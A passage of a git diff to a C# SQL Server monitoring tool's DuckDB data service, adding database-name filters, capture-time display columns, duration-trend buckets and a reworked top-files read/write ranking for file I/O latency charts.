+        ServerTimeHelper.FormatInstant(utc, Zone(rowClock), "yyyy-MM-dd HH:mm:ss");
 }
 
 public class CollectionLogRow
@@ -720,6 +1070,21 @@ public class CollectionLogRow
     public string DuckDbDurationFormatted => DuckDbDurationMs.HasValue ? $"{DuckDbDurationMs.Value} ms" : "";
 }
 
+/// <summary>
+/// One point of the Duration Trends chart (#4989): a collector's successful runs inside one time bucket of the asked
+/// range (<see cref="LocalDataService.GetCollectorDurationTrendAsync"/>). The chart draws <see cref="MaxDurationMs"/>; the
+/// hover also names <see cref="AverageDurationMs"/> and <see cref="RunCount"/>. <see cref="BucketStart"/> is a UTC
+/// instant, clamped to the start of the range.
+/// </summary>
+public class CollectorDurationBucket
+{
+    public string CollectorName { get; set; } = "";
+    public DateTime BucketStart { get; set; }
+    public double MaxDurationMs { get; set; }
+    public double AverageDurationMs { get; set; }
+    public long RunCount { get; set; }
+}
+
 /// <summary>
 /// One Collection Health grid row — a collector's 7-day roll-up with its health band.
 /// <see cref="HealthStatus"/> delegates to the shared <see cref="CollectorHealthClassifier"/> in
@@ -729,6 +1094,9 @@ public class CollectionLogRow
 /// </summary>
 public class CollectorHealthRow
 {
+    /// <summary>A shallow copy: every member is a value, a string or the immutable clock, so a copy is independent (#5371's memo hands out copies).</summary>
+    internal CollectorHealthRow Copy() => (CollectorHealthRow)MemberwiseClone();
+
     public string CollectorName { get; set; } = "";
     public long TotalRuns { get; set; }
     public long SuccessCount { get; set; }
@@ -1027,13 +1395,26 @@ hazard exactly. */
     /// what lets <see cref="CollectorHealthClassifier.Classify"/> band an on-load collector on the SAME ladder
     /// as any other. A name the catalog doesn't know keeps 0 and the classifier's floor thresholds, as before
     /// #4000: resolving it to daily too would leave a collector that went dark HEALTHY for a day and a half.
-    /// The banding uses the shipped default, not the per-install ScheduleManager override, so all three
-    /// surfaces stay in parity. Internal since #2296: the tool's sweep-pressure roll-up amortizes each
-    /// collector's average duration by this same cadence, so both readers of it share one resolution.</summary>
+    /// Internal since #2296: the tool's sweep-pressure roll-up amortizes each collector's average duration by
+    /// this same cadence, so both readers of it share one resolution.
+    ///
+    /// <para>#4999: the interval the collector is SCHEDULED at on this server, when the read that built the row
+    /// stamped it (<see cref="EffectiveFrequencyMinutes"/>): the per-server schedule override, else the global
+    /// schedule, else the shipped default. The band and the roll-up then judge a collector scheduled every 720
+    /// minutes against 720, not against the cadence it shipped with. A row nothing stamped keeps the shipped
+    /// default.</para></summary>
     internal int FrequencyMinutes =>
-        CollectorScheduleDefaults.All.TryGetValue(CollectorName, out var schedule)
+        EffectiveFrequencyMinutes
+        ?? (CollectorScheduleDefaults.All.TryGetValue(CollectorName, out var schedule)
             ? CollectorScheduleDefaults.EffectiveRecurringIntervalMinutes(schedule.FrequencyMinutes)
-            : 0;
+            : 0);
+
+    /// <summary>
+    /// #4999: the interval, in minutes, this collector is scheduled at on the server the row was read for, as
+    /// <see cref="LocalDataService.ApplyScheduledFrequencies"/> resolves it from the schedule store, or null
+    /// when nothing resolved one (no schedule store wired, or a collector name the catalog does not know).
+    /// </summary>
+    internal int? EffectiveFrequencyMinutes { get; set; }
 
     /// <summary>
     /// The row's band: the shared ladder's verdict, with #3819's regression FLOOR applied over it —
diff --git a/Lite/Services/LocalDataService.Config.cs b/Lite/Services/LocalDataService.Config.cs
index 417430351a..d3c2aa3c44 100644
--- a/Lite/Services/LocalDataService.Config.cs
+++ b/Lite/Services/LocalDataService.Config.cs
@@ -270,6 +270,10 @@ public class ServerConfigRow
 {
     /// <summary>The connect-time capture this row belongs to (#3541 A10); every row of one snapshot shares it.</summary>
     public DateTime CaptureTime { get; set; }
+
+    /// <summary>#4966: when this row's snapshot was captured, to the second, in the display zone (the grid's Collected column,
+    /// which sorts by <see cref="CaptureTime"/>). Config is captured on connect, so this is how old the shown value can be.</summary>
+    public string CaptureTimeLocal => ServerTimeHelper.FormatServerTime(CaptureTime);
     public string ConfigurationName { get; set; } = "";
     public long ValueConfigured { get; set; }
     public long ValueInUse { get; set; }
@@ -284,6 +288,10 @@ public class DatabaseConfigRow
 {
     /// <summary>The connect-time capture this row belongs to (#3541 A10).</summary>
     public DateTime CaptureTime { get; set; }
+
+    /// <summary>#4966: when this row's snapshot was captured, to the second, in the display zone (the grid's Collected column,
+    /// which sorts by <see cref="CaptureTime"/>). Config is captured on connect, so this is how old the shown value can be.</summary>
+    public string CaptureTimeLocal => ServerTimeHelper.FormatServerTime(CaptureTime);
     public string DatabaseName { get; set; } = "";
     public string StateDesc { get; set; } = "";
     public int CompatibilityLevel { get; set; }
@@ -358,6 +366,10 @@ public class QueryStoreHealthRow
 {
     /// <summary>The hourly capture this row belongs to (#3541 A10).</summary>
     public DateTime CaptureTime { get; set; }
+
+    /// <summary>#4966: when this row's snapshot was captured, to the second, in the display zone (the grid's Collected column,
+    /// which sorts by <see cref="CaptureTime"/>). Query Store health is captured hourly, so this is how old the shown value can be.</summary>
+    public string CaptureTimeLocal => ServerTimeHelper.FormatServerTime(CaptureTime);
     public string DatabaseName { get; set; } = "";
     public string ActualState { get; set; } = "";
     public string DesiredState { get; set; } = "";
@@ -401,6 +413,10 @@ public class DatabaseScopedConfigRow
 {
     /// <summary>The connect-time capture this row belongs to (#3541 A10).</summary>
     public DateTime CaptureTime { get; set; }
+
+    /// <summary>#4966: when this row's snapshot was captured, to the second, in the display zone (the grid's Collected column,
+    /// which sorts by <see cref="CaptureTime"/>). Config is captured on connect, so this is how old the shown value can be.</summary>
+    public string CaptureTimeLocal => ServerTimeHelper.FormatServerTime(CaptureTime);
     public string DatabaseName { get; set; } = "";
     public string ConfigurationName { get; set; } = "";
     public string Value { get; set; } = "";
@@ -411,6 +427,10 @@ public class TraceFlagRow
 {
     /// <summary>The connect-time capture this row belongs to (#3541 A10).</summary>
     public DateTime CaptureTime { get; set; }
+
+    /// <summary>#4966: when this row's snapshot was captured, to the second, in the display zone (the grid's Collected column,
+    /// which sorts by <see cref="CaptureTime"/>). Config is captured on connect, so this is how old the shown value can be.</summary>
+    public string CaptureTimeLocal => ServerTimeHelper.FormatServerTime(CaptureTime);
     public int TraceFlag { get; set; }
     public bool Status { get; set; }
     public bool IsGlobal { get; set; }
diff --git a/Lite/Services/LocalDataService.ConfigChanges.cs b/Lite/Services/LocalDataService.ConfigChanges.cs
index 13c39a169e..7f477585a6 100644
--- a/Lite/Services/LocalDataService.ConfigChanges.cs
+++ b/Lite/Services/LocalDataService.ConfigChanges.cs
@@ -142,6 +142,38 @@ public async Task<List<TraceFlagChangeRow>> GetTraceFlagChangesAsync(
             .ToList();
     }
 
+    /// <summary>
+    /// #4966: the coverage probe of a config-change tool (<see cref="QueryWindowRelation.ServerConfig"/>,
+    /// <see cref="QueryWindowRelation.DatabaseConfig"/>, <see cref="QueryWindowRelation.TraceFlags"/>). The config reads keep the
+    /// snapshot BEFORE the window as the diff baseline, and the collectors capture on connect, so a server that has stayed
+    /// connected holds its last snapshot days before the window and none inside it: <see cref="GetQueryWindowFloorAsync"/>
+    /// answers null there (nothing in the window), which an empty answer would read as "the store holds no collection of this
+    /// in the window". A snapshot at or before the window's start does cover the window, so this answers the start then and
+    /// otherwise what <see cref="GetQueryWindowFloorAsync"/> answers.
+    /// </summary>
+    internal async Task<DateTime?> GetConfigSnapshotCoverageFloorAsync(QueryWindowRelation relation, int serverId, DateTime startUtc, DateTime endUtc)
+    {
+        var floor = await GetQueryWindowFloorAsync(relation, serverId, startUtc, endUtc);
+        if (floor is not null)
+        {
+            return floor;
+        }
+
+        /* A snapshot before the window only proves coverage if the server was monitored during it: at least one run in the
+           window. With none, nothing was read, and the null answer says so. */
+        var view = QueryWindowRelationView(relation);
+        using var connection = await OpenConnectionAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = $@"
+SELECT 1
+WHERE EXISTS (SELECT 1 FROM {view} WHERE server_id = $1 AND capture_time < $2)
+AND   EXISTS (SELECT 1 FROM v_collection_log WHERE server_id = $1 AND collection_time >= $2 AND collection_time <= $3)";
+        command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        command.Parameters.Add(new DuckDBParameter { Value = startUtc });
+        command.Parameters.Add(new DuckDBParameter { Value = endUtc });
+        return await command.ExecuteScalarAsync() is not null ? startUtc : null;
+    }
+
     private async Task<List<ConfigChangeDiff.ServerConfigSnapshot>> ReadServerConfigSnapshotsAsync(int serverId, DateTime endUtc)
     {
         using var connection = await OpenConnectionAsync();
diff --git a/Lite/Services/LocalDataService.CpuScheduler.cs b/Lite/Services/LocalDataService.CpuScheduler.cs
index 1ce2d16682..68152942e8 100644
--- a/Lite/Services/LocalDataService.CpuScheduler.cs
+++ b/Lite/Services/LocalDataService.CpuScheduler.cs
@@ -264,3 +264,36 @@ public class CpuSchedulerSnapshot : ICpuSchedulerSnapshot
     public int OfflineCpuCount { get; set; }
     public bool OfflineCpuWarning { get; set; }
 }
+
+/// <summary>
+/// One row of the CPU Scheduler latest-snapshot grid (#4966): the shared metric row plus when the snapshot it reads was
+/// collected. The shared <see cref="PerformanceMonitor.Common.ICpuSchedulerSnapshot"/> leaves the time out on purpose (each app keeps its own
+/// time handling), so Lite adds it here: every row of one snapshot carries that snapshot's collection time, in the display
+/// zone to the second as <see cref="CollectionTimeLocal"/>, and the column sorts by <see cref="CollectionTime"/>.
+/// </summary>
+public sealed class CpuSchedulerGridRow
+{
+    public string Metric { get; set; } = "";
+    public string Value { get; set; } = "";
+    public bool IsWarning { get; set; }
+    public DateTime CollectionTime { get; set; }
+
+    public string CollectionTimeLocal => ServerTimeHelper.FormatServerTime(CollectionTime);
+
+    /// <summary>The grid's rows for the snapshot; no rows (and so no time) for a window that holds no snapshot.</summary>
+    public static System.Collections.Generic.List<CpuSchedulerGridRow> Build(CpuSchedulerSnapshot? snapshot)
+    {
+        var rows = new System.Collections.Generic.List<CpuSchedulerGridRow>();
+        if (snapshot is null)
+        {
+            return rows;
+        }
+
+        foreach (var metric in PerformanceMonitor.Common.CpuSchedulerMetrics.BuildMetrics(snapshot))
+        {
+            rows.Add(new CpuSchedulerGridRow { Metric = metric.Metric, Value = metric.Value, IsWarning = metric.IsWarning, CollectionTime = snapshot.CollectionTime });
+        }
+
+        return rows;
+    }
+}
diff --git a/Lite/Services/LocalDataService.DatabaseFilter.cs b/Lite/Services/LocalDataService.DatabaseFilter.cs
index cf249af4c7..aaf5c85b83 100644
--- a/Lite/Services/LocalDataService.DatabaseFilter.cs
+++ b/Lite/Services/LocalDataService.DatabaseFilter.cs
@@ -55,4 +55,24 @@ internal static string BuildDbInClause(
         sb.Append(')');
         return sb.ToString();
     }
+
+    /// <summary>
+    /// The aggregate-side form of a <see cref="BuildDbInClause"/> clause (#5414 M1): the same predicate without its
+    /// leading <c>AND</c>, for a <c>FILTER (WHERE ...)</c> inside the per-collection aggregates of a trend read,
+    /// or <c>""</c> when there is no filter. A trend's database filter belongs there and not in the WHERE: the
+    /// collection's interval is the collection's whichever databases were asked about, so a collection where the
+    /// chosen database had no rows must stay in the bucket as zero work over its real seconds, not vanish from the
+    /// denominator and read the rate high.
+    /// </summary>
+    internal static string DbInPredicate(string dbClause) =>
+        dbClause.Length == 0 ? "" : dbClause[" AND ".Length..];
+
+    /// <summary>
+    /// <c>SUM(expr)</c>, or with a database filter <c>COALESCE(SUM(expr) FILTER (WHERE predicate), 0)</c> — a
+    /// collection the chosen databases had no rows in is zero work, a measurement (#5414 M1).
+    /// </summary>
+    internal static string FilteredSum(string expr, string dbClause) =>
+        dbClause.Length == 0
+            ? $"SUM({expr})"
+            : $"COALESCE(SUM({expr}) FILTER (WHERE {DbInPredicate(dbClause)}), 0)";
 }
diff --git a/Lite/Services/LocalDataService.FileIo.cs b/Lite/Services/LocalDataService.FileIo.cs
index c124fc2644..093bf0e270 100644
--- a/Lite/Services/LocalDataService.FileIo.cs
+++ b/Lite/Services/LocalDataService.FileIo.cs
@@ -19,12 +19,16 @@ public partial class LocalDataService
 {
     /// <summary>
     /// Gets the latest file I/O stats snapshot with computed latency.
+    /// <para>#5244: <paramref name="databaseNames"/> (null or empty = every database) limits the ROWS of the newest capture. The
+    /// capture is the server's newest whatever the filter, so a filtered and an unfiltered call carry the same
+    /// <c>collection_time</c>. Darling's <c>GetLatestFileIoStatsAsync</c> is the twin.</para>
     /// </summary>
-    public async Task<List<FileIoRow>> GetLatestFileIoStatsAsync(int serverId)
+    public async Task<List<FileIoRow>> GetLatestFileIoStatsAsync(int serverId, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
-        command.CommandText = @"
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 2, out var dbValues);
+        command.CommandText = $@"
 SELECT
     database_name,
     file_name,
@@ -41,10 +45,12 @@ public async Task<List<FileIoRow>> GetLatestFileIoStatsAsync(int serverId)
     collection_time
 FROM v_file_io_stats
 WHERE server_id = $1
-AND   collection_time = (SELECT MAX(collection_time) FROM v_file_io_stats WHERE server_id = $1)
+AND   collection_time = (SELECT MAX(collection_time) FROM v_file_io_stats WHERE server_id = $1){dbClause}
 ORDER BY (delta_stall_read_ms + delta_stall_write_ms) DESC";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var items = new List<FileIoRow>();
         using var reader = await command.ExecuteReaderAsync();
@@ -75,22 +81,60 @@ FROM v_file_io_stats
     /// The bucketed statement text (#4234), pulled out of <see cref="GetFileIoLatencyTrendAsync"/> so its shape
     /// is checkable without a live DuckDB.
     /// </summary>
-    internal static readonly string FileIoLatencyTrendSql = $@"
-WITH top_files AS (
-    SELECT database_name, file_name
+    internal static readonly string FileIoLatencyTrendSql = FileIoLatencyTrendSqlFor("");
+
+    /// <summary>
+    /// #5312: the latency statement with the saved database filter's <see cref="BuildDbInClause"/> predicate in the
+    /// top-files ranking, so the top ten are ranked among the chosen databases only (the later join to the ranking
+    /// narrows every other CTE). <paramref name="dbClause"/> "" is the statement as it always read.
+    /// </summary>
+    internal static string FileIoLatencyTrendSqlFor(string dbClause) => $@"
+WITH file_totals AS (
+    SELECT
+        database_name,
+        file_name,
+        COALESCE(SUM(delta_reads), 0) AS total_reads,
+        COALESCE(SUM(delta_writes), 0) AS total_writes
     FROM v_file_io_stats
     WHERE server_id = $1
     AND   collection_time >= $2
-    AND   collection_time <= $3
+    AND   collection_time <= $3{dbClause}
     AND   (delta_reads > 0 OR delta_writes > 0)
     GROUP BY database_name, file_name
-    ORDER BY SUM(delta_reads + delta_writes) DESC
-    LIMIT 10
+),
+/* Release walk V9: the two charts are about different files, so each picks its own. The ten busiest files by reads
+   feed the read chart and the ten busiest by writes feed the write chart; a file in either list is charted. Ranking
+   on reads + writes put only log files in the ten on a server whose logs carry the most operations, and the read
+   chart (and the Overview I/O Latency lane, which reads the same rows) then held nothing but log files with no reads.
+   A tie on one count goes to the file with more of the other, so equally busy files rank by total activity. */
+ranked_files AS (
+    SELECT
+        database_name,
+        file_name,
+        total_reads,
+        total_writes,
+        ROW_NUMBER() OVER (ORDER BY total_reads DESC NULLS LAST, total_writes DESC NULLS LAST, database_name NULLS LAST, file_name NULLS LAST) AS read_rank,
+        ROW_NUMBER() OVER (ORDER BY total_writes DESC NULLS LAST, total_reads DESC NULLS LAST, database_name NULLS LAST, file_name NULLS LAST) AS write_rank
+    FROM file_totals
+),
+/* Round 2, L4: the read says which ten each file is in (the two flags), so the charts draw exactly the files the read ranked
+   instead of ranking again on the bucketed counts, which drop rows with no interval and break ties in another order. */
+top_files AS (
+    SELECT
+        database_name,
+        file_name,
+        (read_rank <= 10 AND total_reads > 0) AS in_read_ten,
+        (write_rank <= 10 AND total_writes > 0) AS in_write_ten
+    FROM ranked_files
+    WHERE (read_rank <= 10 AND total_reads > 0)
+    OR    (write_rank <= 10 AND total_writes > 0)
 ),
 rated AS (
     SELECT
         f.database_name,
         f.file_name,
+        tf.in_read_ten,
+        tf.in_write_ten,
         f.collection_time,
         /* #3540: a stored interval of 0 is the calculator's no-delta-knowable marker — nulled here (not
            filtered in the WHERE) so an unrated row still counts toward collection_count below. IS DISTINCT
@@ -117,14 +161,20 @@ CASE WHEN SUM(rated_writes) > 0 THEN SUM(rated_stall_write_ms) / SUM(rated_write
     CASE WHEN SUM(rated_reads) > 0 THEN SUM(rated_queued_read_ms) / SUM(rated_reads) ELSE 0 END AS avg_queued_read_latency_ms,
     CASE WHEN SUM(rated_writes) > 0 THEN SUM(rated_queued_write_ms) / SUM(rated_writes) ELSE 0 END AS avg_queued_write_latency_ms,
     MIN(collection_time) AS first_collection_time,
-    COUNT(*) AS collection_count
+    COUNT(*) AS collection_count,
+    /* Release walk V9b: the bucket's read and write counts ride along so the Overview lane can weight the files'
+       latencies by operations (total stall over total operations) instead of averaging a no-read log file as 0 ms. */
+    CAST(COALESCE(SUM(rated_reads), 0) AS BIGINT) AS total_reads,
+    CAST(COALESCE(SUM(rated_writes), 0) AS BIGINT) AS total_writes,
+    BOOL_OR(in_read_ten) AS in_read_ten,
+    BOOL_OR(in_write_ten) AS in_write_ten
 FROM rated
 GROUP BY database_name, file_name, 3
 HAVING COUNT(rated_reads) > 0
 ORDER BY database_name, file_name, 3";
 
     /// <summary>
-    /// Gets file I/O latency trend data broken down by file for charting (top 10 files by I/O activity).
+    /// Gets file I/O latency trend data broken down by file for charting (the top 10 files by reads and the top 10 by writes).
     /// <para>#4234: buckets to <see cref="TrendBudget.Chart"/>'s point budget PER SERIES (<c>seriesCount</c>
     /// always 1 into <see cref="TrendBuckets.AutoMinutes"/>). The top-10 ranking (<c>top_files</c>) stays an
     /// unbucketed scan of the whole call window, exactly as before — only the per-collection SELECT beneath it
@@ -137,9 +187,9 @@ HAVING COUNT(rated_reads) > 0
     /// <c>first_collection_time</c> instead of the <c>time_bucket</c> grid line; a single merged bucket
     /// anywhere (any file) keeps <c>bucket_start</c> throughout.</para>
     /// </summary>
-    public async Task<List<FileIoTrendPoint>> GetFileIoLatencyTrendAsync(int serverId, int hoursBack = 24, DateTime? fromDate = null, DateTime? toDate = null, DateTime? asOfUtc = null)
+    public async Task<List<FileIoTrendPoint>> GetFileIoLatencyTrendAsync(int serverId, int hoursBack = 24, DateTime? fromDate = null, DateTime? toDate = null, DateTime? asOfUtc = null, IReadOnlyList<string>? databaseNames = null)
     {
-        using var _q = TimeQuery("GetFileIoLatencyTrendAsync", "v_file_io_stats top-10 files, bucketed");
+        using var _q = TimeQuery("GetFileIoLatencyTrendAsync", "v_file_io_stats top-10 files by reads and by writes, bucketed");
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
 
@@ -148,14 +198,17 @@ public async Task<List<FileIoTrendPoint>> GetFileIoLatencyTrendAsync(int serverI
         var windowMinutes = Math.Max(1, (int)Math.Ceiling((endTime - startTime).TotalMinutes));
         var bucketMinutes = TrendBuckets.AutoMinutes(windowMinutes, 1, TrendBudget.Chart.AutoPoints);
 
-        command.CommandText = FileIoLatencyTrendSql;
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 5, out var dbValues);
+        command.CommandText = FileIoLatencyTrendSqlFor(dbClause);
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = startTime });
         command.Parameters.Add(new DuckDBParameter { Value = endTime });
         command.Parameters.Add(new DuckDBParameter { Value = bucketMinutes });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
-        var rows = new List<(string DatabaseName, string FileName, DateTime BucketStart, DateTime FirstCollectionTime, double ReadLatency, double WriteLatency, double QueuedReadLatency, double QueuedWriteLatency)>();
+        var rows = new List<(string DatabaseName, string FileName, DateTime BucketStart, DateTime FirstCollectionTime, double ReadLatency, double WriteLatency, double QueuedReadLatency, double QueuedWriteLatency, long Reads, long Writes, bool InReadTen, bool InWriteTen)>();
         var everyBucketSingleton = true;
 
         using var reader = await command.ExecuteReaderAsync();
@@ -174,7 +227,11 @@ public async Task<List<FileIoTrendPoint>> GetFileIoLatencyTrendAsync(int serverI
                 reader.IsDBNull(3) ? 0 : ToDouble(reader.GetValue(3)),
                 reader.IsDBNull(4) ? 0 : ToDouble(reader.GetValue(4)),
                 reader.IsDBNull(5) ? 0 : ToDouble(reader.GetValue(5)),
-                reader.IsDBNull(6) ? 0 : ToDouble(reader.GetValue(6))));
+                reader.IsDBNull(6) ? 0 : ToDouble(reader.GetValue(6)),
+                reader.IsDBNull(9) ? 0 : Convert.ToInt64(reader.GetValue(9)),
+                reader.IsDBNull(10) ? 0 : Convert.ToInt64(reader.GetValue(10)),
+                !reader.IsDBNull(11) && Convert.ToBoolean(reader.GetValue(11)),
+                !reader.IsDBNull(12) && Convert.ToBoolean(reader.GetValue(12))));
         }
 
         var items = new List<FileIoTrendPoint>();
@@ -188,7 +245,11 @@ public async Task<List<FileIoTrendPoint>> GetFileIoLatencyTrendAsync(int serverI
                 AvgReadLatencyMs = row.ReadLatency,
                 AvgWriteLatencyMs = row.WriteLatency,
                 AvgQueuedReadLatencyMs = row.QueuedReadLatency,
-                AvgQueuedWriteLatencyMs = row.QueuedWriteLatency
+                AvgQueuedWriteLatencyMs = row.QueuedWriteLatency,
+                Reads = row.Reads,
+                Writes = row.Writes,
+                InReadTen = row.InReadTen,
+                InWriteTen = row.InWriteTen
             });
         }
 
@@ -221,16 +282,20 @@ FROM v_file_io_stats
     /// The bucketed statement text (#4234), pulled out of <see cref="GetFileIoThroughputTrendAsync"/> so its
     /// shape is checkable without a live DuckDB.
     /// </summary>
-    internal static readonly string FileIoThroughputTrendSql = $@"
+    internal static readonly string FileIoThroughputTrendSql = FileIoThroughputTrendSqlFor("");
+
+    /// <summary>#5312: the throughput statement with the saved database filter in the top-files ranking, as
+    /// <see cref="FileIoLatencyTrendSqlFor"/> does for latency.</summary>
+    internal static string FileIoThroughputTrendSqlFor(string dbClause) => $@"
 WITH top_files AS (
     SELECT database_name, file_name
     FROM v_file_io_stats
     WHERE server_id = $1
     AND   collection_time >= $2
-    AND   collection_time <= $3
+    AND   collection_time <= $3{dbClause}
     AND   (delta_read_bytes > 0 OR delta_write_bytes > 0)
     GROUP BY database_name, file_name
-    ORDER BY SUM(delta_read_bytes + delta_write_bytes) DESC
+    ORDER BY SUM(delta_read_bytes + delta_write_bytes) DESC NULLS LAST, database_name NULLS LAST, file_name NULLS LAST
     LIMIT 10
 ),
 with_interval AS (
@@ -288,7 +353,7 @@ HAVING COUNT(rated_seconds) > 0
     /// per-collection read always dropped that collection. Singleton stamping follows
     /// <see cref="WaitTrendsSql"/>'s rule.</para>
     /// </summary>
-    public async Task<List<FileIoThroughputPoint>> GetFileIoThroughputTrendAsync(int serverId, int hoursBack = 24, DateTime? fromDate = null, DateTime? toDate = null)
+    public async Task<List<FileIoThroughputPoint>> GetFileIoThroughputTrendAsync(int serverId, int hoursBack = 24, DateTime? fromDate = null, DateTime? toDate = null, IReadOnlyList<string>? databaseNames = null)
     {
         using var _q = TimeQuery("GetFileIoThroughputTrendAsync", "v_file_io_stats top-10 files by bytes, bucketed");
         using var connection = await OpenConnectionAsync();
@@ -299,12 +364,15 @@ public async Task<List<FileIoThroughputPoint>> GetFileIoThroughputTrendAsync(int
         var windowMinutes = Math.Max(1, (int)Math.Ceiling((endTime - startTime).TotalMinutes));
         var bucketMinutes = TrendBuckets.AutoMinutes(windowMinutes, 1, TrendBudget.Chart.AutoPoints);
 
-        command.CommandText = FileIoThroughputTrendSql;
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 5, out var dbValues);
+        command.CommandText = FileIoThroughputTrendSqlFor(dbClause);
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = startTime });
         command.Parameters.Add(new DuckDBParameter { Value = endTime });
         command.Parameters.Add(new DuckDBParameter { Value = bucketMinutes });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var rows = new List<(string FileLabel, DateTime BucketStart, DateTime FirstCollectionTime, double ReadMbPerSec, double WriteMbPerSec)>();
         var everyBucketSingleton = true;
@@ -445,6 +513,14 @@ public class FileIoTrendPoint
     public double AvgWriteLatencyMs { get; set; }
     public double AvgQueuedReadLatencyMs { get; set; }
     public double AvgQueuedWriteLatencyMs { get; set; }
+    /// <summary>Reads in this bucket (the denominator of <see cref="AvgReadLatencyMs"/>); the Overview lane weights by it.</summary>
+    public long Reads { get; set; }
+    /// <summary>Writes in this bucket (the denominator of <see cref="AvgWriteLatencyMs"/>).</summary>
+    public long Writes { get; set; }
+    /// <summary>The read ranked this file in the ten busiest by reads (and it has reads): the Read Latency chart draws these.</summary>
+    public bool InReadTen { get; set; }
+    /// <summary>The read ranked this file in the ten busiest by writes (and it has writes): the Write Latency chart draws these.</summary>
+    public bool InWriteTen { get; set; }
 }
 
 public class FileIoThroughputPoint
diff --git a/Lite/Services/LocalDataService.FinOps.IndexObjects.cs b/Lite/Services/LocalDataService.FinOps.IndexObjects.cs
index 85929cee8f..00db2931c6 100644
--- a/Lite/Services/LocalDataService.FinOps.IndexObjects.cs
+++ b/Lite/Services/LocalDataService.FinOps.IndexObjects.cs
@@ -34,11 +34,17 @@ public partial class LocalDataService
     /// once in <c>boundaries</c> with <c>FILTER</c> so the baseline CTEs and the projected snapshot times
     /// cannot disagree about which capture was used. Darling's <c>DarlingObjectStatsReader.ObjectSizeGrowthSql</c>
     /// is the twin.</para>
+    /// <para>#5244: <paramref name="databaseNames"/> (null or empty = every database, the statement as it always read) limits the four
+    /// snapshot CTEs, and NOT <c>boundaries</c>, so the snapshot anchors and the store's span stay the server's and a filtered and an
+    /// unfiltered call describe the same snapshots. The cap follows the filter: the page is the largest <paramref name="topN"/> tables
+    /// of the chosen databases. Darling's twin binds the same names as one <c>text[]</c> on the same four CTEs.</para>
     /// </summary>
-    public async Task<List<ObjectSizeGrowthBaselineRow>> GetObjectSizeGrowthAsync(int serverId, int topN = 100)
+    public async Task<List<ObjectSizeGrowthBaselineRow>> GetObjectSizeGrowthAsync(
+        int serverId, int topN = 100, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 4, out var dbValues);
 
         var now = DateTime.UtcNow;
         var cutoff7d = now.AddDays(-7);
@@ -62,25 +68,25 @@ latest AS (
         MAX(total_rows) AS total_rows,
         COUNT(*) AS index_count
     FROM v_index_object_stats
-    WHERE server_id = $1 AND collection_time = (SELECT latest_time FROM boundaries)
+    WHERE server_id = $1 AND collection_time = (SELECT latest_time FROM boundaries){dbClause}
     GROUP BY database_name, schema_name, table_name
 ),
 past_7d AS (
     SELECT database_name, schema_name, table_name, SUM(reserved_mb) AS reserved_mb
     FROM v_index_object_stats
-    WHERE server_id = $1 AND collection_time = (SELECT snapshot_7d_time FROM boundaries)
+    WHERE server_id = $1 AND collection_time = (SELECT snapshot_7d_time FROM boundaries){dbClause}
     GROUP BY database_name, schema_name, table_name
 ),
 past_30d AS (
     SELECT database_name, schema_name, table_name, SUM(reserved_mb) AS reserved_mb
     FROM v_index_object_stats
-    WHERE server_id = $1 AND collection_time = (SELECT snapshot_30d_time FROM boundaries)
+    WHERE server_id = $1 AND collection_time = (SELECT snapshot_30d_time FROM boundaries){dbClause}
     GROUP BY database_name, schema_name, table_name
 ),
 oldest AS (
     SELECT database_name, schema_name, table_name, SUM(reserved_mb) AS reserved_mb
     FROM v_index_object_stats
-    WHERE server_id = $1 AND collection_time = (SELECT earliest_time FROM boundaries)
+    WHERE server_id = $1 AND collection_time = (SELECT earliest_time FROM boundaries){dbClause}
     GROUP BY database_name, schema_name, table_name
 )
 SELECT
@@ -110,6 +116,8 @@ ORDER BY l.current_reserved_mb DESC
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = cutoff7d });
         command.Parameters.Add(new DuckDBParameter { Value = cutoff30d });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
         var items = new List<ObjectSizeGrowthBaselineRow>();
         using var reader = await command.ExecuteReaderAsync();
@@ -273,14 +281,22 @@ FROM v_index_object_stats
     /// <c>MAX(collection_time)</c> read for the stamp: that one can resolve to the NEXT capture. The grid
     /// ignores the column; it costs the snapshot's own anchor value per row and buys the MCP surface a
     /// truthful age on a DAILY-collected read.</para>
+    /// <para>#5312: <paramref name="databaseNames"/> is the saved per-server database filter, and it ANDs with the one-database
+    /// box (<paramref name="databaseName"/>): both apply. Null or empty = no filter, the statement as it always read.</para>
     /// </summary>
-    public async Task<List<IndexLockingRow>> GetIndexLockingAsync(int serverId, int topN = 200, string? databaseName = null)
+    public async Task<List<IndexLockingRow>> GetIndexLockingAsync(int serverId, int topN = 200, string? databaseName = null, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
 
         // Build the optional DB filter as literal SQL so a NULL parameter never has to be typed by DuckDB.
         var dbFilter = databaseName == null ? "" : " AND ios.database_name = $2";
+        /* #5312: the saved filter's list follows the box's parameter, so it starts at $3 when the box is set, else $2. */
+        dbFilter += BuildDbInClause(databaseNames, "ios.database_name", databaseName == null ? 2 : 3, out var filterValues);
+
+        /* #5372 L1: the ORDER BY ends in a total order (promotions, then the four-part name, as get_index_usage does), so
+           two runs over a set that ties at the cap return the same rows; the rows listed only for a lock promotion all
+           sum to 0 and tie. */
 
         command.CommandText = $@"
 SELECT
@@ -315,12 +331,16 @@ OR COALESCE(ios.index_lock_promotion_count, 0) > 0
 )
 ORDER BY
